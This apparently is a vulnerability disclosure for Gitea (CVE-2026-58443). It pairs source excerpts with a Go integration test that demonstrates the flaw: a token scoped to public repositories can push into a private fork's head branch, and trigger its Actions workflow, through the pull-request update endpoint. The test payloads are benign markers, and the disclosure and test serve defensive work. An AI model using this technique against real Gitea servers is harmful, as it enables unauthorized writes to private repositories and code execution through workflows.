Gitea CVE-2026-58443

POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update

// routers/api/v1/api.go:1358-1394
					m.Group("/pulls", func() {
						m.Combo("").Get(repo.ListPullRequests).
							Post(reqToken(), mustNotBeArchived, bind(api.CreatePullRequestOption{}), repo.CreatePullRequest)
						m.Get("/pinned", repo.ListPinnedPullRequests)
						m.Post("/comments/{id}/resolve", reqToken(), mustNotBeArchived, repo.ResolvePullReviewComment)
						m.Post("/comments/{id}/unresolve", reqToken(), mustNotBeArchived, repo.UnresolvePullReviewComment)
						m.Group("/{index}", func() {
							m.Combo("").Get(repo.GetPullRequest).
								Patch(reqToken(), bind(api.EditPullRequestOption{}), repo.EditPullRequest)
							m.Get(".{diffType:diff|patch}", repo.DownloadPullDiffOrPatch)
							m.Post("/update", reqToken(), repo.UpdatePullRequest)
							m.Get("/commits", repo.GetPullRequestCommits)
							m.Get("/files", repo.GetPullRequestFiles)
							m.Combo("/merge").Get(repo.IsPullRequestMerged).
								Post(reqToken(), mustNotBeArchived, bind(forms.MergePullRequestForm{}), repo.MergePullRequest).
								Delete(reqToken(), mustNotBeArchived, repo.CancelScheduledAutoMerge)
							m.Group("/reviews", func() {
								m.Combo("").
									Get(repo.ListPullReviews).
									Post(reqToken(), bind(api.CreatePullReviewOptions{}), repo.CreatePullReview)
								m.Group("/{id}", func() {
									m.Combo("").
										Get(repo.GetPullReview).
										Delete(reqToken(), repo.DeletePullReview).
										Post(reqToken(), bind(api.SubmitPullReviewOptions{}), repo.SubmitPullReview)
									m.Combo("/comments").
										Get(repo.GetPullReviewComments)
									m.Post("/dismissals", reqToken(), bind(api.DismissPullReviewOptions{}), repo.DismissPullReview)
									m.Post("/undismissals", repo.UnDismissPullReview)
								})
							})
							m.Combo("/requested_reviewers", reqToken()).
								Delete(bind(api.PullReviewRequestOptions{}), repo.DeleteReviewRequests).
								Post(bind(api.PullReviewRequestOptions{}), repo.CreateReviewRequests)
						})
						m.Get("/{base}/*", repo.GetPullRequestByBaseHead)
					}, mustAllowPulls, reqRepoReader(unit.TypeCode), context.ReferencesGitRepo())

// routers/api/v1/api.go:1465-1466
				}, repoAssignment(), checkTokenPublicOnly())
			}, tokenRequiresScopes(auth_model.AccessTokenScopeCategoryRepository))

// routers/api/v1/repo/pull.go:1220-1270
	pr, err := issues_model.GetPullRequestByIndex(ctx, ctx.Repo.Repository.ID, ctx.PathParamInt64("index"))
	if err != nil {
		if issues_model.IsErrPullRequestNotExist(err) {
			ctx.APIErrorNotFound()
		} else {
			ctx.APIErrorInternal(err)
		}
		return
	}

	if pr.HasMerged {
		ctx.APIError(http.StatusUnprocessableEntity, err)
		return
	}

	if err = pr.LoadIssue(ctx); err != nil {
		ctx.APIErrorInternal(err)
		return
	}

	if pr.Issue.IsClosed {
		ctx.APIError(http.StatusUnprocessableEntity, err)
		return
	}

	if err = pr.LoadBaseRepo(ctx); err != nil {
		ctx.APIErrorInternal(err)
		return
	}
	if err = pr.LoadHeadRepo(ctx); err != nil {
		ctx.APIErrorInternal(err)
		return
	}

	rebase := ctx.FormString("style") == "rebase"

allowedUpdateByMerge, allowedUpdateByRebase, err := pull_service.IsUserAllowedToUpdate(ctx, pr, ctx.Doer)
	if err != nil {
		ctx.APIErrorInternal(err)
		return
	}

	if (!allowedUpdateByMerge && !rebase) || (rebase && !allowedUpdateByRebase) {
		ctx.Status(http.StatusForbidden)
		return
	}

	// default merge commit message
	message := fmt.Sprintf("Merge branch '%s' into %s", pr.BaseBranch, pr.HeadBranch)

// services/pull/update.go:136-164
// IsUserAllowedToUpdate check if user is allowed to update PR with given permissions and branch protections
// update PR means send new commits to PR head branch from base branch
func IsUserAllowedToUpdate(ctx context.Context, pull *issues_model.PullRequest, user *user_model.User) (pushAllowed, rebaseAllowed bool, err error) {
	if user == nil {
		return false, false, nil
	}
	if err := pull.LoadBaseRepo(ctx); err != nil {
		return false, false, err
	}
	if err := pull.LoadHeadRepo(ctx); err != nil {
		return false, false, err
	}

	// 1. check whether pull request enabled.
	prBaseUnit, err := pull.BaseRepo.GetUnit(ctx, unit.TypePullRequests)
	if repo_model.IsErrUnitTypeNotExist(err) {
		return false, false, nil // the PR unit is disabled in base repo means no update allowed
	} else if err != nil {
		return false, false, fmt.Errorf("get base repo unit: %v", err)
	}

	// 2. only support Github style pull request
	if pull.Flow == issues_model.PullRequestFlowAGit {
		return false, false, nil
	}

	// 3. check user push permission on head repository
pushAllowed, rebaseAllowed, err = isUserAllowedToPushOrForcePushInRepoBranch(ctx, user, pull.HeadRepo, pull.HeadBranch)
	if err != nil {
		return false, false, err
	}

// services/pull/update.go:89-100
	reversePR := &issues_model.PullRequest{
		BaseRepoID: pr.HeadRepoID,
		BaseRepo:   pr.HeadRepo,
		BaseBranch: pr.HeadBranch,

		HeadRepoID: pr.BaseRepoID,
		HeadRepo:   pr.BaseRepo,
		HeadBranch: pr.BaseBranch,
	}

_, err = doMergeAndPush(ctx, reversePR, doer, repo_model.MergeStyleMerge, "", message, repository.PushTriggerPRUpdateWithBase)
	return err

import (
	"encoding/base64"
	"fmt"
	"net/http"
	"net/url"
	"testing"
	"time"

	actions_model "code.gitea.io/gitea/models/actions"
	auth_model "code.gitea.io/gitea/models/auth"
	repo_model "code.gitea.io/gitea/models/repo"
	unit_model "code.gitea.io/gitea/models/unit"
	"code.gitea.io/gitea/models/unittest"
	user_model "code.gitea.io/gitea/models/user"
	"code.gitea.io/gitea/modules/gitrepo"
	api "code.gitea.io/gitea/modules/structs"
	webhook_module "code.gitea.io/gitea/modules/webhook"
	repo_service "code.gitea.io/gitea/services/repository"

	"github.com/stretchr/testify/assert"
	"github.com/stretchr/testify/require"
)

func TestPOCPublicOnlyRepositoryTokenUpdatesPrivatePRHeadBranch(t *testing.T) {
	onGiteaRun(t, func(t *testing.T, _ *url.URL) {
		doer := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user1"})

		baseRepo, err := repo_service.CreateRepository(t.Context(), doer, doer, repo_service.CreateRepoOptions{
			Name:          "public-pr-update-base",
			Description:   "public base repository for public-only PR update PoC",
			AutoInit:      true,
			Readme:        "Default",
			DefaultBranch: "main",
			IsPrivate:     false,
		})
		require.NoError(t, err)

		headRepo, err := repo_service.ForkRepository(t.Context(), doer, doer, repo_service.ForkRepoOptions{
			BaseRepo:     baseRepo,
			Name:         "private-pr-update-head",
			Description:  "private head repository for public-only PR update PoC",
			SingleBranch: baseRepo.DefaultBranch,
		})
		require.NoError(t, err)
		require.NotNil(t, headRepo)
		require.NoError(t, repo_service.UpdateRepositoryUnits(t.Context(), headRepo, []repo_model.RepoUnit{{
			RepoID: headRepo.ID,
			Type:   unit_model.TypeActions,
		}}, nil))
		headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})

		headBranch := "private-head-update"
		testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{
			OldBranch: baseRepo.DefaultBranch,
			NewBranch: headBranch,
		}, map[string]string{
			"private-head-marker.txt": "private head branch marker",
		})
		const workflowID = "private-push.yml"
		const workflowSentinel = "FAULTLINE_POC_062_PRIVATE_ACTION"
		testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{
			OldBranch: headBranch,
			NewBranch: headBranch,
		}, map[string]string{
			".gitea/workflows/" + workflowID: fmt.Sprintf(`name: private-push
on:
  push:
    branches:
      - %s
jobs:
  private-head-job:
    runs-on: ubuntu-latest
    steps:
      - run: echo %s
`, headBranch, workflowSentinel),
		})

		require.NoError(t, repo_model.UpdateRepositoryColsNoAutoTime(t.Context(), &repo_model.Repository{
			ID:        headRepo.ID,
			IsPrivate: true,
		}, "is_private"))
		headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})
		require.True(t, headRepo.IsPrivate)
		baselinePrivateHeadRuns := unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID})

		session := loginUser(t, doer.Name)
		publicOnlyToken := getTokenForLoggedInUser(t, session,
			auth_model.AccessTokenScopePublicOnly,
			auth_model.AccessTokenScopeWriteRepository,
		)

		publicPath := "public-base-injected-into-private.txt"
		publicMarker := "FAULT-GITEA-062 public base content reached private head"
		createPublicBaseFile := api.CreateFileOptions{
			FileOptions: api.FileOptions{
				BranchName: baseRepo.DefaultBranch,
				Message:    "create public marker for private head update",
			},
			ContentBase64: base64.StdEncoding.EncodeToString([]byte(publicMarker)),
		}
		req := NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", baseRepo.FullName(), publicPath), &createPublicBaseFile).
			AddTokenAuth(publicOnlyToken)
		MakeRequest(t, req, http.StatusCreated)

		privatePath := "direct-private-write-should-fail.txt"
		directPrivateWrite := api.CreateFileOptions{
			FileOptions: api.FileOptions{
				BranchName: headBranch,
				Message:    "direct private write attempt",
			},
			ContentBase64: base64.StdEncoding.EncodeToString([]byte("direct private write marker")),
		}
		req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", headRepo.FullName(), privatePath), &directPrivateWrite).
			AddTokenAuth(publicOnlyToken)
		MakeRequest(t, req, http.StatusNotFound)

		prPayload := map[string]string{
			"title": "faultline public-only private head update",
			"base":  baseRepo.DefaultBranch,
			"head":  fmt.Sprintf("%s/%s:%s", doer.Name, headRepo.Name, headBranch),
		}
		req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/pulls", baseRepo.FullName()), prPayload).
			AddTokenAuth(publicOnlyToken)
		resp := MakeRequest(t, req, http.StatusCreated)

		var pr api.PullRequest
		DecodeJSON(t, resp, &pr)
		require.Equal(t, prPayload["title"], pr.Title)

		gitRepo, err := gitrepo.OpenRepository(t.Context(), headRepo)
		require.NoError(t, err)
		defer gitRepo.Close()

		commit, err := gitRepo.GetBranchCommit(headBranch)
		require.NoError(t, err)
		_, err = commit.GetBlobByPath(publicPath)
		require.Error(t, err)

		req = NewRequestf(t, "POST", "/api/v1/repos/%s/pulls/%d/update?style=merge", baseRepo.FullName(), pr.Index).
			AddTokenAuth(publicOnlyToken)
		MakeRequest(t, req, http.StatusOK)
		assert.Eventually(t, func() bool {
			return unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID}) > baselinePrivateHeadRuns
		}, 5*time.Second, 50*time.Millisecond)

		actionRun := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRun{
			RepoID:     headRepo.ID,
			WorkflowID: workflowID,
		}, unittest.OrderBy("id DESC"))
		assert.Equal(t, webhook_module.HookEventPush, actionRun.Event)
		assert.Equal(t, "push", actionRun.TriggerEvent)
		assert.Equal(t, doer.ID, actionRun.TriggerUserID)
		assert.NotEmpty(t, actionRun.CommitSHA)

		job := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRunJob{RunID: actionRun.ID})
		assert.Contains(t, string(job.WorkflowPayload), workflowSentinel)

		commit, err = gitRepo.GetBranchCommit(headBranch)
		require.NoError(t, err)
		blob, err := commit.GetBlobByPath(publicPath)
		require.NoError(t, err)
		content, err := blob.GetBlobContent(1024)
		require.NoError(t, err)
		assert.Equal(t, publicMarker, content)
	})
}